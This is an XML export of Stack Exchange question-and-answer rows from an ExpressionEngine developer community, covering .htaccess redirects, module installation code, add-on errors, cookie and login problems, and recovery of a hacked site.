  <row Id="4875" PostTypeId="1" AcceptedAnswerId="4878" CreationDate="2013-01-16T13:13:54.990" Score="2" ViewCount="426" Body="&lt;p&gt;We are running an EE site which is successfully stripping the /index.php from the URL using the following rewrite rule:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;RewriteCond $1 !^(docs|index.php|sitemap.php) [NC]&#xA;RewriteRule ^(.*)$ /index.php/$1 [L]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I now need to get the site to redirect from the non www (example.com) version to the www. (www.example.com) version of the site. At the moment I've tried:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond $1 !^(docs|index\.php|sitemap\.php) [NC]&#xA;RewriteRule ^(.*)$ /index.php/$1 [L]&#xA;&#xA;RewriteCond %{HTTP_HOST} !^www\.&#xA;RewriteRule ^(.*)$ http://www.%{HTTP_HOST}/$1 [R=301,L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This adds the 'www.', but puts the index.php back on all pages of the site. What am I doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="576" LastActivityDate="2013-01-16T13:55:46.790" Title="How to redirect EE site to www. using htaccess &amp; keep the index.php file removed" Tags="|ee2|htaccess|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4876" PostTypeId="2" ParentId="4868" CreationDate="2013-01-16T13:19:42.717" Score="1" Body="&lt;p&gt;You can manually code it since the payment methods are limited to 2&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select name=&quot;payment_method&quot;&amp;gt;&#xA;&amp;lt;option value=&quot;paypal_express&quot;&amp;gt;Paypal&amp;lt;/option&amp;gt;&#xA;&amp;lt;option value=&quot;manual&quot;&amp;gt;Manual&amp;lt;/option&amp;gt;&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can do that by simply making sure that in Store - Payment Methods settings, Paypal is the first in order.&lt;/p&gt;&#xA;" OwnerUserId="48" LastEditorUserId="48" LastEditDate="2013-01-17T19:17:33.663" LastActivityDate="2013-01-17T19:17:33.663" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4877" PostTypeId="2" ParentId="4863" CreationDate="2013-01-16T13:34:10.707" Score="4" Body="&lt;p&gt;Since your project area is determined by the URL, you can just query the URL to get the &lt;code&gt;entry_id&lt;/code&gt; of your project, and add that to a hidden field:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query sql=&quot;SELECT entry_id AS project_entry_id FROM exp_channel_titles WHERE url_title = '{segment_3}' AND channel_id = 1&quot;}&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;update_project[selections][]&quot; value=&quot;{project_entry_id}&quot; /&amp;gt;&#xA;{/exp:query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You'll have to change/check three things here:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;the &lt;code&gt;channel_id&lt;/code&gt; (it should be the ID of your Projects channel)&lt;/li&gt;&#xA;&lt;li&gt;the URL segment where your &lt;code&gt;url_title&lt;/code&gt; lives (I have it as &lt;code&gt;segment_3&lt;/code&gt; here)&lt;/li&gt;&#xA;&lt;li&gt;the short name of the Playa field in your Updates channel (I have it as &lt;code&gt;update_project&lt;/code&gt; here).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-01-16T13:34:10.707" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4878" PostTypeId="2" ParentId="4875" CreationDate="2013-01-16T13:39:02.830" Score="7" Body="&lt;p&gt;Try changing the order of your RewriteRules.&#xA;i. e. put the addition of the www before the removal of the index.php.&lt;/p&gt;&#xA;" OwnerUserId="315" LastActivityDate="2013-01-16T13:39:02.830" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4880" PostTypeId="1" AcceptedAnswerId="4883" CreationDate="2013-01-16T13:41:11.440" Score="4" ViewCount="378" Body="&lt;p&gt;I am new to EE development and am trying to get my head round creating a module. I've read various tutorials and docs and have a skeleton module created, but it will not install.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the list of modules I can see the name and description of my module, but when I click &quot;Install&quot; nothing happens. The status is still &quot;Not Installed&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have checked the database and the modules table has an entry for my module, so the &lt;code&gt;install()&lt;/code&gt; function is executing, but the status isn't changing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my upd file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if (!defined('BASEPATH')) exit('No direct script access allowed');&#xA;&#xA;class Photo_pdf_upd {&#xA;&#xA;    public $version = '1.0';&#xA;&#xA;    private $EE;&#xA;&#xA;    /**&#xA;     * Class Constructor&#xA;     */&#xA;    public function __construct() {&#xA;        $this-&amp;gt;EE =&amp;amp; get_instance();&#xA;    }&#xA;&#xA;    // -------------------------------------&#xA;&#xA;    /**&#xA;     * Installation Method&#xA;     *&#xA;     * Required by ExpressionEngine&#xA;     *&#xA;     * @return boolean  TRUE&#xA;     */&#xA;    public function install() {&#xA;        // Drop info on the module into the modules table&#xA;        $mod_data = array(&#xA;            'module_name'           =&amp;gt; 'Photo PDF',&#xA;            'module_version'        =&amp;gt; $this-&amp;gt;version,&#xA;            'has_cp_backend'        =&amp;gt; 'n',&#xA;            'has_publish_fields'    =&amp;gt; 'n'&#xA;        );&#xA;&#xA;        $this-&amp;gt;EE-&amp;gt;db-&amp;gt;insert('modules', $mod_data);&#xA;&#xA;        return TRUE;&#xA;    }&#xA;&#xA;    // --------------------------------------&#xA;&#xA;    /**&#xA;     * Module Uninstaller&#xA;     *&#xA;     * Required by ExpressionEngine&#xA;     *&#xA;     * @return boolean  TRUE&#xA;     */&#xA;    public function uninstall() {&#xA;        $mod = $this-&amp;gt;EE-&amp;gt;db-&amp;gt;select('module_id')-&amp;gt;get_where('modules', array('module_name'=&amp;gt;'Photo PDF'))-&amp;gt;row('module_id');&#xA;&#xA;        $this-&amp;gt;EE-&amp;gt;db-&amp;gt;where('module_id', $mod)-&amp;gt;delete('module_member_groups');&#xA;&#xA;        $this-&amp;gt;EE-&amp;gt;db-&amp;gt;where('module_name', 'Photo PDF')-&amp;gt;delete('modules');&#xA;&#xA;        return TRUE;&#xA;    }&#xA;&#xA;    // ---------------------------------------&#xA;&#xA;    /**&#xA;     * Module Updater&#xA;     *&#xA;     * Required by ExpressionEngine&#xA;     *&#xA;     * @return boolean  TRUE&#xA;     */&#xA;    public function update($current = '') {&#xA;        // Nothing to do here&#xA;        return TRUE;&#xA;    }&#xA;}&#xA;&#xA;/* End of File: upd.photo_pdf.php */&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="823" LastActivityDate="2013-01-16T13:53:04.477" Title="Module I'm developing will not install" Tags="|add-on-development|module|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4881" PostTypeId="2" ParentId="4851" CreationDate="2013-01-16T13:42:22.470" Score="2" Body="&lt;p&gt;This can be done natively using an embedded template.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;user&quot;}&#xA;    {title}&#xA;    {reverse_related_entries channel=&quot;posts&quot;}&#xA;        {embed=&quot;_embeds/related&quot; entry_id=&quot;{entry_id}&quot;}    &#xA;    {/reverse_related_entries}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then in your embed (&lt;strong&gt;_embeds/related&lt;/strong&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;my_channel&quot; entry_id=&quot;{embed:entry_id}&quot; dynamic=&quot;no&quot;}&#xA;    {title}&#xA;    {related_entries id=&quot;myfield&quot;}{title}{/related_entries} &#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-01-16T13:42:22.470" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4882" PostTypeId="2" ParentId="4863" CreationDate="2013-01-16T13:50:58.517" Score="1" Body="&lt;p&gt;if you already display the project itself above the form, then you can probably copy / pick-up the entry_id (with stash or mx_jumper) and insert/output it into a hidden field of the safecracker form. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check out the normal relation dropdown html first, as to what the field name is and what form the value is in. You can assemble a input-hidden field accordingly.&lt;/p&gt;&#xA;" OwnerUserId="155" LastActivityDate="2013-01-16T13:50:58.517" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4883" PostTypeId="2" ParentId="4880" CreationDate="2013-01-16T13:53:04.477" Score="6" Body="&lt;p&gt;$mod_data['module_name'] should be class name of your actual module file (mod.photo_pdf.php), in your case 'Photo_pdf'&lt;/p&gt;&#xA;" OwnerUserId="19" LastActivityDate="2013-01-16T13:53:04.477" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4884" PostTypeId="2" ParentId="4875" CreationDate="2013-01-16T13:55:46.790" Score="2" Body="&lt;p&gt;This is the .htaccess we use for clients who request the www.:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;RewriteEngine On&#xA;RewriteBase /&#xA;&#xA;RewriteCond %{HTTPS} !=on&#xA;RewriteCond %{HTTP_HOST} !^www\..+$ [NC]&#xA;RewriteCond %{HTTP_HOST} (.+)$ [NC]&#xA;RewriteRule ^(.*)$ http://www.%1/$1 [R=301,L]&#xA;&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteCond $1 !\.(gif|jpe?g|png)$ [NC]&#xA;RewriteRule ^(.*)$ /index.php/$1 [L]&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="192" LastActivityDate="2013-01-16T13:55:46.790" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4885" PostTypeId="1" AcceptedAnswerId="10857" CreationDate="2013-01-16T14:08:25.177" Score="3" ViewCount="569" Body="&lt;p&gt;Quite out of the blue on a client site running 1.7.0, all pages loaded after the initial visit rendered the dreaded &quot;Disallowed Key Characters&quot; message.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Upon some investigation, I determined it was the &lt;strong&gt;exp_tracker&lt;/strong&gt; cookie that was triggering this. Its value is being set to &lt;code&gt;a%3A1%3A%7Bi%3A0%3Bs%3A5%3A%22index%22%3B%7D&lt;/code&gt; (as an example), which is not passing the Input class' &lt;code&gt;clean_input_keys()&lt;/code&gt; function, triggering the error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, why this crazy value for the &lt;code&gt;exp_tracker&lt;/code&gt; cookie, and why all-of-a-sudden? It continues to get set like this. For now my fix is to comment-out the filtering of the &lt;code&gt;$_COOKIE&lt;/code&gt; array.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, possibly related, I can also no longer login to the control panel - with or without the cookie filtering removed. I log-in, my session ID is set, but I just immediately return to the login screen, no error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are these related? Anyone seen this before?&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2013-01-16T15:13:28.527" LastActivityDate="2013-05-30T14:58:24.827" Title="EE 1.7.0 cookie and login issue (disallowed key characters)" Tags="|ee1|login|cookies|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4886" PostTypeId="2" ParentId="4852" CreationDate="2013-01-16T14:16:05.387" Score="3" Body="&lt;p&gt;If the reason is appearance, you can remove any margin/padding formatting with css, like:&lt;br&gt;&#xA;&lt;code&gt;table p {padding:0; margin:0}&lt;/code&gt;&lt;br&gt;&#xA;Or you can add specific classes to the styling menu of wygwam for tables, for a more fine grained control over styling tables.&lt;/p&gt;&#xA;" OwnerUserId="155" LastActivityDate="2013-01-16T14:16:05.387" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4887" PostTypeId="2" ParentId="4804" CreationDate="2013-01-16T14:23:21.450" Score="2" Body="&lt;p&gt;I would suggest putting site offline (via EE preferences or config file) during development and using &lt;a href=&quot;http://www.devdemon.com/smart_switch/&quot; rel=&quot;nofollow&quot;&gt;Smart Switch&lt;/a&gt; to allow limited access&lt;/p&gt;&#xA;" OwnerUserId="19" LastActivityDate="2013-01-16T14:23:21.450" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4888" PostTypeId="1" AcceptedAnswerId="4900" CreationDate="2013-01-16T14:40:05.753" Score="2" ViewCount="143" Body="&lt;p&gt;More specifically, when opening the modules&gt;assets screen I get a whitescreen in both the site and the CP with the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Parse error: syntax error, unexpected T_STATIC in /home/ingedingen/domains/ingedingen.be/public_html/cmssystem/expressionengine/third_party/assets/helper.php on line 205&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've rolled back to assets1 in the mean time. This is on EE2.5.5.&#xA;Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="64" LastEditorUserId="64" LastEditDate="2013-01-16T15:14:19.507" LastActivityDate="2013-01-18T15:00:21.950" Title="Assets 2.0 update crashes CP &amp; site" Tags="|assets|" AnswerCount="1" CommentCount="1" FavoriteCount="0" ClosedDate="2013-01-19T23:06:54.393" ContentLicense="CC BY-SA 3.0" />
  <row Id="4889" PostTypeId="1" AcceptedAnswerId="4904" CreationDate="2013-01-16T14:55:00.790" Score="2" ViewCount="119" Body="&lt;p&gt;i currently have several MSM sites in our EE install, our member database is synched (one way to us) with a partner with many thousands of members, which get access to one of our MSM sites, and are assigned automatically a member group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We now find ourselves with some of the members of our partner that want some of our other services, &lt;strong&gt;but there email address is already in our system&lt;/strong&gt; - giving access to that member group, giving those individual members different groups are not an option. And ideally i done want to ask them to supply a different email address, for the second account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As these particular members are created and approved in house, and not through registration. the best solution i can think of is to create a second account with a dummy email address, then modify the email address to their second account to their actual address, &lt;em&gt;so it will now be in the database twice.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there potentially any issue with this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If not is there anything we need to look out for?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using EE v2.5.3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="355" LastActivityDate="2013-01-16T18:18:24.080" Title="Using MSM &amp; solspace user - members with same email address needed" Tags="|email|multi-site-manager|member-details|solspace-user|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4890" PostTypeId="1" AcceptedAnswerId="4891" CreationDate="2013-01-16T14:55:45.273" Score="-1" ViewCount="92" Body="&lt;p&gt;I have a client site running on a legacy version of EE1.x, it's pretty old and they have no desire to upgrade to EE 2.x as it does the job just fine as is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They have a MSM license associated with the site and as such can run up to 3 sites off the one install - at present they are running 3 sites but wish to add another.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a simple job, very much a copy/paste on the existing sites to create a new one for a slightly different target audience - however I'm not sure if I can even buy a new EE1.x MSM site license - the EE store does not appear to be happy with me trying to do so...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know if Ellis Lab are still selling EE1.x MSM site licenses?&lt;/p&gt;&#xA;" OwnerUserId="389" LastActivityDate="2013-01-16T15:02:47.377" Title="Can I still purchase additional site licenses for EE 1.x MSM" Tags="|multi-site-manager|license|1.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4891" PostTypeId="2" ParentId="4890" CreationDate="2013-01-16T15:02:47.377" Score="1" Body="&lt;p&gt;Yes. Just email them at sales@ellislab.com. It requires an &quot;upgrade&quot; of the MSM license I believe. Then you can add licenses. (But they can confirm or correct this information for you.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For future reference (for anyone reading this): these types of questions are probably not well suited for StackExchange. Just shoot EllisLab an email so you can get an answer directly from the source. Both sales@ellislab.com and team@ellislab.com get to them I believe.&lt;/p&gt;&#xA;" OwnerUserId="199" LastActivityDate="2013-01-16T15:02:47.377" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4892" PostTypeId="2" ParentId="4864" CreationDate="2013-01-16T15:24:03.030" Score="1" Body="&lt;p&gt;Ok, so apparently this is a pre &lt;code&gt;2.5.3&lt;/code&gt; bug. Updating to &lt;code&gt;2.5.5&lt;/code&gt; resolved this.&lt;/p&gt;&#xA;" OwnerUserId="195" LastActivityDate="2013-01-16T15:24:03.030" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4893" PostTypeId="1" AcceptedAnswerId="4926" CreationDate="2013-01-16T15:48:05.383" Score="4" ViewCount="1425" Body="&lt;p&gt;I just upgraded to Assets 2.0 on EE 2.5.3. Installation went smoothly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However my upload locations aren't acting correctly from within Assets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My folder structure looks like this:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;system&#xA;html&#xA;  assets&#xA;  docs&#xA;  images&#xA;  minified&#xA;  themes&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;html/assets&lt;/code&gt; and &lt;code&gt;html/docs&lt;/code&gt; are both set up as upload directories in EE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using Master Config to set them. But even looking through the CP I can see they are correct.&#xA;The server path is correct and the Upload Directory URL is absolute, not relative.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the Assets file browser shows the folder structure of both directories as if they were pointed at the &lt;code&gt;html&lt;/code&gt; folder. (see screenshot)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YBxy3.png&quot; alt=&quot;Assets screenshot&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="100" LastEditorUserId="100" LastEditDate="2013-01-16T16:45:26.750" LastActivityDate="2013-01-31T20:11:46.410" Title="Assets not showing the correct upload directory" Tags="|add-on|assets|" AnswerCount="2" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="4894" PostTypeId="1" CreationDate="2013-01-16T16:02:14.683" Score="2" ViewCount="58" Body="&lt;p&gt;Call to a member function file_id() on a non-object in /(path to my system folder)/expressionengine/third_party/assets/views/thumbview/files.php on line 15&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I get the above error message when I post my channel entry.&lt;/p&gt;&#xA;" OwnerUserId="826" LastEditorUserId="826" LastEditDate="2013-01-16T16:11:29.673" LastActivityDate="2013-02-04T21:44:08.223" Title="Assets: problems assigning images. Call to a member function file_id() on a non-object" Tags="|assets|channel-images|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4895" PostTypeId="1" CreationDate="2013-01-16T16:07:01.410" Score="4" ViewCount="1619" Body="&lt;p&gt;Website was hacked. After being cleaned up (but probably not 100% secured), all pages started returning a 500 internal server error. Host says it's not them. The server loads flat files perfectly. Moving /system/ returned &quot;The system path does not appear to be set correctly.  Please open your path.php file and correct the path&quot; message, as expected. No idea what's causing the 500 errors. Probably related to the hack, but I can't be sure. Also don't know how to fix it. Any advice?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For context: I don't know if the site runs EE1 or 2. I'm a noob w/ EE. I was called in to help, but I don't know much about the site/server. I have FTP access but (as of now) no SSH access.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; A local install of PhpMyAdmin is running on this server. I'm trying to convince the client to remove it. I've moved the PMA directory/files out of the web-accessible directory for now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit 2, more context:&lt;/strong&gt; This site runs on an IIS server. I can't make file-permission changes.&lt;/p&gt;&#xA;" OwnerUserId="825" LastEditorUserId="825" LastEditDate="2013-01-16T16:50:14.220" LastActivityDate="2013-02-16T08:39:58.050" Title="500 error after site was hacked" Tags="|ee2|ee1|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4896" PostTypeId="2" ParentId="4895" CreationDate="2013-01-16T16:23:45.827" Score="1" Body="&lt;p&gt;Check the permissions on your index.php file.&lt;/p&gt;&#xA;" OwnerUserId="315" LastActivityDate="2013-01-16T16:23:45.827" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4897" PostTypeId="2" ParentId="4895" CreationDate="2013-01-16T16:24:11.347" Score="1" Body="&lt;p&gt;Can you log into the backend?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If so you can find the information in the footer there. Also, if your login form looks like this then it is EE 2 &lt;a href=&quot;http://d.pr/i/BvML&quot; rel=&quot;nofollow&quot;&gt;http://d.pr/i/BvML&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you can't login or load any pages enable debugging to see the PHP errors that are popping up &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/troubleshooting/general/blank_pages.html&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/troubleshooting/general/blank_pages.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To enable debugging in an EE 1 site you can't log into, add the following to your system/config.php file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$conf['debug'] = &quot;2&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Use this if you can log into the backend:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$conf['debug'] = &quot;1&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="219" LastEditorUserId="219" LastEditDate="2013-01-16T17:13:14.587" LastActivityDate="2013-01-16T17:13:14.587" CommentCount="14" ContentLicense="CC BY-SA 3.0" />
  <row Id="4898" PostTypeId="2" ParentId="4895" CreationDate="2013-01-16T16:32:44.407" Score="1" Body="&lt;p&gt;If it's telling you to open your path.php file, it sounds like an EE 1.x installation. And if there was a /system/ folder, they probably didn't change the system file name, which means it was easier-than-most to hack into. (Not so great.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I agree: check the permissions on your index.php file, but also check the config.php file. If they have a backup, try restoring from that. The hackers may have tweaked something in that file...&lt;/p&gt;&#xA;" OwnerDisplayName="user800" LastActivityDate="2013-01-16T16:32:44.407" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4899" PostTypeId="1" AcceptedAnswerId="4903" CreationDate="2013-01-16T16:40:42.177" Score="2" ViewCount="505" Body="&lt;p&gt;Is there a codeigniter active record way of doing something like: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(mysql_num_rows(mysql_query(&quot;SHOW TABLES LIKE exp_mytable&quot;))==1)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm not seeing Show Tables as a method in the docs.&lt;/p&gt;&#xA;" OwnerUserId="827" LastActivityDate="2013-01-16T17:24:25.473" Title="Active Record: Show Tables" Tags="|add-on-development|module|codeigniter|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4900" PostTypeId="2" ParentId="4888" CreationDate="2013-01-16T16:44:59.860" Score="5" Body="&lt;p&gt;If you open system/expressionengine/third_party/assets/helper.php and replace all occurrences of &lt;code&gt;static::&lt;/code&gt; with &lt;code&gt;self::&lt;/code&gt;, this error will go away.  We'll have an official release with the fix shortly.&lt;/p&gt;&#xA;" OwnerUserId="8" LastEditorUserId="77" LastEditDate="2013-01-18T15:00:21.950" LastActivityDate="2013-01-18T15:00:21.950" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4902" PostTypeId="1" CreationDate="2013-01-16T17:03:58.457" Score="4" ViewCount="410" Body="&lt;p&gt;ExpressionEngine 2.5.3, Assets 2.0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also have &lt;a href=&quot;http://betterworkflow.tenderapp.com/discussions/problems/417-after-previewing-a-draft-asset-thumbnails-disappear&quot; rel=&quot;nofollow&quot;&gt;a ticket into ElectricPutty's support&lt;/a&gt; but they suggested that since Assets is supported natively by BWF now, that I post it here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When previewing changes to a BWF managed entry, the following PHP warnings are shown in the preview modal:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A PHP Error was encountered&#xA;  Severity: Warning&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Message: trim() expects parameter 1 to be string, array given&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Filename: libraries/Functions.php&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Line Number: 2711&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;A PHP Error was encountered&#xA;  Severity: Warning&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Message: trim() expects parameter 1 to be string, array given&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Filename: libraries/Functions.php&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Line Number: 2711&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;A PHP Error was encountered&#xA;  Severity: Warning&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Message: Cannot modify header information - headers already sent by (output started at /Volumes/Macintosh &gt;HD/Users/iso100/Sites/pbsmartsuite/public_html/_system/codeigniter/system/core/Exceptions.php:170)&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Filename: core/Common.php&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Line Number: 412&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If I save the draft and try to visit the same entry again to edit it, I get a blank page with only this error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Fatal error: Call to a member function file_id() on a non-object in /Volumes/Macintosh HD/Users/iso100/Sites/pbsmartsuite/public_html/third_party/assets/views/thumbview/files.php on line 15&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="2" LastEditorUserId="2" LastEditDate="2013-01-17T14:34:50.773" LastActivityDate="2013-09-12T14:51:37.557" Title="BetterWorkflow preview throws PHP warnings" Tags="|error|assets|better-workflow|" AnswerCount="3" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="4903" PostTypeId="2" ParentId="4899" CreationDate="2013-01-16T17:24:25.473" Score="4" Body="&lt;p&gt;Neither Active Record nor DB Forge have a “SHOW TABLES” function. You’d have to just do it with &lt;code&gt;query()&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($EE-&amp;gt;db-&amp;gt;query('SHOW TABLES LIKE `exp_mytable`')-&amp;gt;num_rows())&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="490" LastActivityDate="2013-01-16T17:24:25.473" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4904" PostTypeId="2" ParentId="4889" CreationDate="2013-01-16T18:18:24.080" Score="3" Body="&lt;p&gt;Unfortunately unique email address is EE core requirement, you cannot override without modifying system files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may consider using some add-ons for advanced permissions management, such as &lt;a href=&quot;http://devot-ee.com/add-ons/member-categories&quot; rel=&quot;nofollow&quot;&gt;Member Categories&lt;/a&gt; or &lt;a href=&quot;http://devot-ee.com/add-ons/msm-member-group-switcher&quot; rel=&quot;nofollow&quot;&gt;MSM Member Group Switcher&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Actually I think MSM Member Group Switcher might be the thing you're looking for, as it allows the user to be treated as part of one or another member group depending on what site he's logged in at.&lt;/p&gt;&#xA;" OwnerUserId="19" LastActivityDate="2013-01-16T18:18:24.080" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4905" PostTypeId="2" ParentId="4895" CreationDate="2013-01-16T18:27:57.373" Score="5" Body="&lt;p&gt;With any software, it's good to contact the author if a security issue is suspected. If you have not already, contacting EllisLab support about this issue is a good idea.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This would prevent you from needing to post secure information about your site on a public network, and also enable EllisLab to see if EE was at fault, and if there is a security breach in the code that needs to be fixed to prevent it from happening again. EllisLab could help you examine likely targeted files to ensure the installation was cleaned up, and perhaps even coordinate with your host.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://support.ellislab.com/&quot; rel=&quot;nofollow&quot;&gt;EllisLab Support Center &amp;amp; email contact info&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="366" LastEditorUserId="366" LastEditDate="2013-01-16T18:45:38.377" LastActivityDate="2013-01-16T18:45:38.377" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
